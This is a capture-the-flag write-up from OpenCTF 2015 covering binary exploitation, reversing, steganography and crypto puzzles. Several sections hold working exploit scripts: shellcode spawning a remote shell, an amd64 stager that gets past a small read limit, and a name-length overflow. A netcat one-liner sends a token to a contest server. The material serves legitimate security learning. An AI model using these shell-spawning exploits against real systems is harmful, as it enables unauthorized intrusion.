OpenCTF 2015 write-ups [vulscryptos]
vulscryptos scored 1910 pts, ranked 4th. So close!
It was great fun. Many thanks to the organizers!
Hack the Planet!
This program:
so I just wrote this exploit code and I got a shell.
---
#!/usr/bin/env python
from ebil import * # https://github.com/193s/ebil
exec ebil('./runic_power', remote=('10.0.66.71', 6698))
payload = asm(shellcraft.sh())
send(payload, 0x40)
r.interactive()
---
SRSLY_this_was_trivial_for_x86
This program looks similar to runic_power,
but it only reads 0x10 bytes from stdin, so I used a stager to bypass it.
---
#!/usr/bin/env python
from ebil import * # https://github.com/193s/ebil
exec ebil('./sigil_of_darkness', remote=('10.0.66.72', 6611))
shellcode = asm(shellcraft.amd64.sh(), arch='amd64')
def a(s):
return asm(s, arch='amd64')
payload = ''
# rdi: 0
# rsi: base addr
# stager
payload += chain([
a("mov rax, rsi"),
a("mov edx, 0x100"),
a("mov esi, 0x400614"),
a("jmp rsi"),
])
send(payload, 0x10)
r.send(shellcode)
r.interactive()
---
So_that_might_have_given10s_moreFFRT
A simple Windows binary challenge.
This binary asks me whether I agree to a "license agreement" or not.
When I choose "Yes", the binary creates a bitmap image called "Y29uc3VtZXIgZW5oYW5jZW1lbnQ=". I opened the file with a binary editor, and found the flag written in plain text.
FL@G[$ha11 we p1@y @ g@me?]
It looked like both C and whitespace source code, so I just put it through a C compiler and whitespace interpreter.
193s@mbp193s:~/CTF/openctf/absence$ gcc absence.c
193s@mbp193s:~/CTF/openctf/absence$ ./a.out
f1@g[This is not the code you're
193s@mbp193s:~/CTF/openctf/absence$ wspace absence.c
lo0kin-fo]%
f1@g[This is not the code you're lo0kin-fo]
The file is a PNG image.
I tried a steganography approach, and it turns out that the pixel bytes were compressed text.
```
>>> print open(“magic_eye.dat”, “rb”).read()[41:].decode(“zlib”)
(snip)
BTW the flag is some_flag_goes_here
(snip)
```
some_flag_goes_here
I found a QR code in the right eye of the woman, so I photoshopped and scanned it :)
before:
after:
Ju5tPr1ntTheDAmNTh1n6
The text file is from the script for “Much Ado About Nothing” by Shakespeare, but some of the spaces were converted to tabs or removed. At a certain point in the text, spaces and tabs stopped appearing completely, so I thought that that the spaces and tabs were some sort of encoded data, and that the other alphametical characters didn’t matter.
So, I extracted all whitespace and converted spaces to 0 and tabs to 1 in binary.
---
#!/usr/bin/env python
s = open("shakespeare-much-3.txt").read()
txt = ''
for c in s:
if c == ' ' or c == '\t':
txt += str(0 if c == ' ' else 1)
#print txt
z = ("%x" % eval("0b"+txt)).decode('hex')
open("out", "w").write(z)
---
This gave me a zip file so I unzipped it and got flag.txt.
_h0m3_br3w_wh1t3_sp4c3_enC0ding_i5_ub3r_1337_
Everything in phase1 was also in phase1.key, and phase1.key had 256 lines.
So, I converted each piece of text in phase1 into the line number of phase1.key as a byte.
---
#!/usr/bin/env python
cip = open('./phase1').read().split('\n')
key = open('./phase1.key').read().split('\n')
flag = ''
for c in cip:
if c == '': continue
t = key.index(c)
flag += chr(t)
open('out', 'w').write(flag)
---
Then, I got a 64 bit ELF file; another challenge.
It asked for a password, so I just `strings`ed it and got it: Banana1
Entering the password gave me two sets of long base64-encoded texts for Phase 3 and Phase 4.
Phase 3 was a pcap file with a series of tcp packets containing fragments of a png file; skipped it.
Phase 4 looked like an ELF file, but with headers and some strings modified.
The errata “Key for phase four” suggested that Phase 4 was in a format that requires a key, and I supposed that this was a repeated-xor key!
I noticed that 00010203 appears repeatedly, so I figured it must be a repeated-xor key.
---
#!/usr/bin/env python
f = open("4").read()
key = '\x00\x01\x02\x03'
print ''.join([chr(ord(f[i])^ord(key[i%len(key)])) for i in xrange(len(f))])
---
Ltracing the ELF Binary I got gave me the flag :)
---
master@ubuntu:~/CTF/openctf/pillars/stage2/4$ ./elf
I'm thinking of a key...
master@ubuntu:~/CTF/openctf/pillars/stage2/4$ ltrace ./elf
__libc_start_main(0x4007c0, 1, 0x7ffed1456188, 0x400820 <unfinished ...>
memcpy(0x7ffed1456070, "\2677\226\256\366\302\372\357\020]5\335\212\346\332\340-\243\304\v\271:x\333\245\0\0\0\0\0\0\0"..., 42) = 0x7ffed1456070
memcpy(0x7ffed1456010, "\nX\031\366\354a\315\027\0237\027\306\205\033YL@I\274}\233)g\234R\0\0\0\0\0\0\0"..., 42) = 0x7ffed1456010
memcpy(0x7ffed1455f80, "\351\035\372=E\353^\210p\036Gi|\242\326\337\b\265:\023Vrr&\217\0\0\0\0\0\0\0"..., 42) = 0x7ffed1455f80
strlen("The key is: %s\n") = 15
snprintf("The key is: True_Hipsters_Use_Be"..., 55, "The key is: %s\n", "True_Hipsters_Use_Betamax") = 38
printf("I'm thinking of a key...\n"I'm thinking of a key...
) = 25
+++ exited (status 0) +++
---
True_Hipsters_Use_Betamax
Opening the file in a binary editor shows that this was a “reversed” PK ( = ZIP) file. Uncompressed reversed file and read metsys.elif.
This was a reversed disk image, so I reversed it again and opened it with Autopsy.
This gave me a file called “txt.galf”. "txt.galf" is the reverse of "flag.txt", so...
"txt.galf" looks like this:
$ xxd txt.galf
0000000: f597 4377 16f5 b613 4377 f546 e616 f544 ..Cw....Cw.F...D
0000010: e657 0327 14f5 e627 5773 f573 5357 a6f5 .W.'...'Ws.sSW..
After a few tries, I noticed that if I swap the 4 lower bits with the 4 higher bits of each byte, every byte would become an ASCII character.
$ xxd flag.txt
0000000: 5f79 3477 615f 6b31 3477 5f64 6e61 5f44 _y4wa_k14w_dna_D
0000010: 6e75 3072 415f 6e72 7537 5f37 3575 6a5f nu0rA_nru7_75uj_
Hmm, just one more step.
Reverse the string and....
$ cat flag.txt | rev | xxd
0000000: 5f6a 7535 375f 3775 726e 5f41 7230 756e _ju57_7urn_Ar0un
0000010: 445f 616e 645f 7734 316b 5f61 7734 795f D_and_w41k_aw4y_
Here’s the flag.
_ju57_7urn_Ar0unD_and_w41k_aw4y_
Giving a very long name to `Cat` gave me the flag :)
---
#!/usr/bin/env python
from ebil import * # https://github.com/193s/ebil
exec ebil('./witches_cat', remote=('10.0.66.73', 6604))
def cmd(cmd):
print r.recvuntil('# ')
r.sendline(cmd)
def scoop(): cmd('scoop')
def addCat(): cmd('addCat')
def removeCat(): cmd('removeCat')
def cmd_exit(): cmd('exit')
def nameCat(name):
cmd('nameCat %s' % name)
addCat()
nameCat('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
removeCat()
print r.recv()
---
hur_hurr_hurr_MEOW_AAAA
An ELF binary challenge.
After doing some reverse-engineering with IDA, I found that the executable follows 7 steps described below:
1. Connect to 10.0.66.77:11113, send "BLSS\x02", and receive machine code for DRM.
2. Execute code received in Step 1.
3. Connect to 10.0.66.76:11112, send "GETGAMES\n", and receive machine code which lists games available.
4. Execute code received in Step 3.
5. Ask the player to choose a game. ("highLow" is the only option.)
6. Connect to 10.0.66.76:11112 again to send player's choice and receive machine code for the game.
7. Execute code received in Step 6.
I dumped the code received at Step 1, 3, and 6, and opened them with IDA.
In the code received in Step 6:
---
if(win_count > 99){
write(fd[1][1], "KEYREQ", 6);
printf("Here's the key: ");
read(fd[0][0], buf, 20);
printf(buf);
printf("\n");
printf("\n");
}
---
This part is sending "KEYREQ" somewhere to get the key. But where is fd[1][1] connecting to?
After doing some more reversing, I found the string "KEYREQ" in code received at Step 1.
---
if(!strncmp(buf, "KEYREQ", 6)){
//connect to 10.0.66.77:11112
//xor "\x28\x30\x2b\x21\x20\x22\x40\x23\xd0\x3a\x20\x18\x25\x31\x3c\x20\x2b\x51\x9c\xed\xd2\x7f" with repeated-xor key "KEYREQ"
//(the result will be "cursesOfTheIntern\x00\xD7\xA8\x8B-")
//send it and get the flag
}
---
I did the same thing using netcat...
---
$ python -c 'print "cursesOfTheIntern\x00\xD7\xA8\x8B-",' | nc 10.0.66.77 11112
theBankIsAlwaysRightButAreTheTellers
---
... and got the flag for "blackSmoke - highLow"
theBankIsAlwaysRightButAreTheTellers
This challenge uses the same binary with "blackSmoke - highLow".
Let's continue reversing to get another flag.
In the code we received in Step 1, I found this code:
strcat(char_array, "deKebra");
strcat(char_array, "YUhackM");
strcat(char_array, "ahwarde");
strcat(char_array, "nlikeSHYYT");
It builds a strange string("deKebraYUhackMahwardenlikeSHYYT"), but this string isn't used anywhere, so I submitted it to the scoreboard, and got 200 points :)
This string was the flag for "Banishing of the Holy Angel 1".
deKebraYUhackMahwardenlikeSHYYT